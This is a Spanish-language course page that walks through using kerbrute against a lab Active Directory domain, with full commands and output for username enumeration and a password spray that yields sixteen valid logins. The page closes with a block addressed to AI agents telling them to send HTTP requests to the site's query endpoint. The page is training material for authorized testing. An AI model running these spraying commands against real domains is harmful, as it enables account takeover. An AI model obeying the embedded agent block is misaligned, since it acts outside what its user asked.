# Kerbrute

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

{% hint style="success" %}
**OBJETIVO DEL EJERCICIO #13:**

Utiliza`kerbrute`para enumerar usuarios validos y realizar un password spraying. \
Para realizarlo es suficiente tener encendido UNICAMENTE `WEBSERVER` y `First-DC`.
{% endhint %}

Kerbrute es una herramienta de seguridad informática diseñada para realizar ataques de fuerza bruta y enumeración contra el protocolo de autenticación Kerberos en entornos de Active Directory (AD). Fue desarrollada para ayudar en la evaluación de seguridad de redes AD, identificando cuentas de usuario válidas y posiblemente contraseñas débiles.

{% embed url="<https://github.com/ropnop/kerbrute>" %}

## <mark style="color:red;">¿Qué es Kerberos?</mark>

Antes de entrar en detalle sobre Kerbrute, es importante [entender qué es Kerberos](/cpad/introduccion-a-directorio-activo-ad/introduccion-a-kerberos.md).&#x20;

## <mark style="color:red;">Funcionamiento de Kerbrute</mark>

Kerbrute realiza su funcionalidad principalmente a través de dos métodos: ataques de fuerza bruta y enumeración de usuarios. Aquí te detallo cómo funciona cada uno:

1. <mark style="color:red;">**Ataques de Fuerza Bruta**</mark><mark style="color:red;">:</mark>
   * Kerbrute puede probar combinaciones de nombres de usuario y contraseñas para intentar autenticarse contra un dominio de AD utilizando Kerberos.
   * La herramienta intenta autenticarse con diferentes contraseñas para cada cuenta de usuario, lo que puede revelar contraseñas débiles o comunes.
2. <mark style="color:red;">**Enumeración de Usuarios**</mark><mark style="color:red;">:</mark>
   * Kerbrute también puede realizar la enumeración de usuarios. En este modo, la herramienta intenta autenticarse utilizando nombres de usuario válidos con contraseñas incorrectas.
   * Kerberos, en algunos casos, responderá de manera diferente a una solicitud de autenticación si el nombre de usuario es válido, incluso si la contraseña es incorrecta. Esto puede permitir a Kerbrute identificar cuentas de usuario válidas sin conocer la contraseña.

## <mark style="color:red;">Técnicas de Enumeración</mark>

### <mark style="color:red;">Identificando usuarios validos</mark>

Se recomienda la siguiente herramienta para encontrar usuarios de compañias:

{% embed url="<https://hunter.io/>" %}

Para CTFs y examenes de certificaciones ofensivas, se recomienda:

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Usernames/xato-net-10-million-usernames.txt>" %}

* <mark style="color:red;">**Respuestas Diferenciadas**</mark><mark style="color:red;">:</mark> Kerberos puede devolver errores distintos si el nombre de usuario es válido o no, lo que permite a Kerbrute distinguir entre cuentas existentes y no existentes.
* <mark style="color:red;">**Uso de Listas de Nombres de Usuario**</mark><mark style="color:red;">:</mark> Kerbrute puede trabajar con listas de nombres de usuario posibles para realizar la enumeración, probando cada uno contra el servidor de AD.

```bash
┌──(root㉿kali)-[/home/kali]
└─#  ./kerbrute_linux_amd64 userenum --dc 10.0.1.100 -d spartancybersec.corp ./users

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 11/13/23 - Ronnie Flathers @ropnop

2023/11/13 03:27:21 >  Using KDC(s):
2023/11/13 03:27:21 >   10.0.1.100:88

2023/11/13 03:27:21 >  [+] VALID USERNAME:       gpowrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       compwrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       groupwrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       constrained.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       dnsadmin.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       regular.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       writedacldc.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       userwrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       unconstrained.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       lapsread.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       userall.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       clearpass.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       readgmsa.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       roast.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       AdminWebServer@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       asrep.user@spartancybersec.corp
```

### <mark style="color:red;">Realizando un password spraying con usuarios validos</mark>

Teniendo en cuenta que localizamos una contraseña utilizada en un usuario en [Credenciales en descripcion](/cpad/vulnerabilidades-y-ataques-en-ad/credenciales-en-descripcion.md) vamos a realizar un password Spraying contra todos los usuarios:

```bash
┌──(root㉿kali)-[/home/kali]
└─# ./kerbrute_linux_amd64 passwordspray --dc 3.149.246.12 -d spartancybersec.corp ./users.txt Password@1

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 11/13/23 - Ronnie Flathers @ropnop

2023/11/13 20:10:28 >  Using KDC(s):
2023/11/13 20:10:28 >  	3.149.246.12:88

2023/11/13 20:10:29 >  [+] VALID LOGIN:	 constrained.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 unconstrained.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 groupwrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 lapsread.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 compwrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 dnsadmin.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 regular.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 userall.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 userwrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 gpowrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 asrep.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 clearpass.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 readgmsa.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 writedacldc.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 AdminWebServer@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 roast.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  Done! Tested 16 logins (16 successes) in 0.696 seconds
```

## <mark style="color:red;">Consideraciones de Seguridad y Uso Ético</mark>

* <mark style="color:red;">**Detección y Bloqueo**</mark><mark style="color:red;">:</mark> Los intentos de autenticación fallidos pueden ser detectados y resultar en el bloqueo de cuentas, lo que puede causar problemas en una red de producción. Por eso, el uso de Kerbrute debe hacerse con cuidado y solo en entornos controlados o autorizados.
* <mark style="color:red;">**Uso Ético**</mark><mark style="color:red;">:</mark> Kerbrute es una herramienta poderosa que debe utilizarse exclusivamente para pruebas de penetración autorizadas o evaluaciones de seguridad, no para actividades maliciosas.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/password-spraying/kerbrute.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
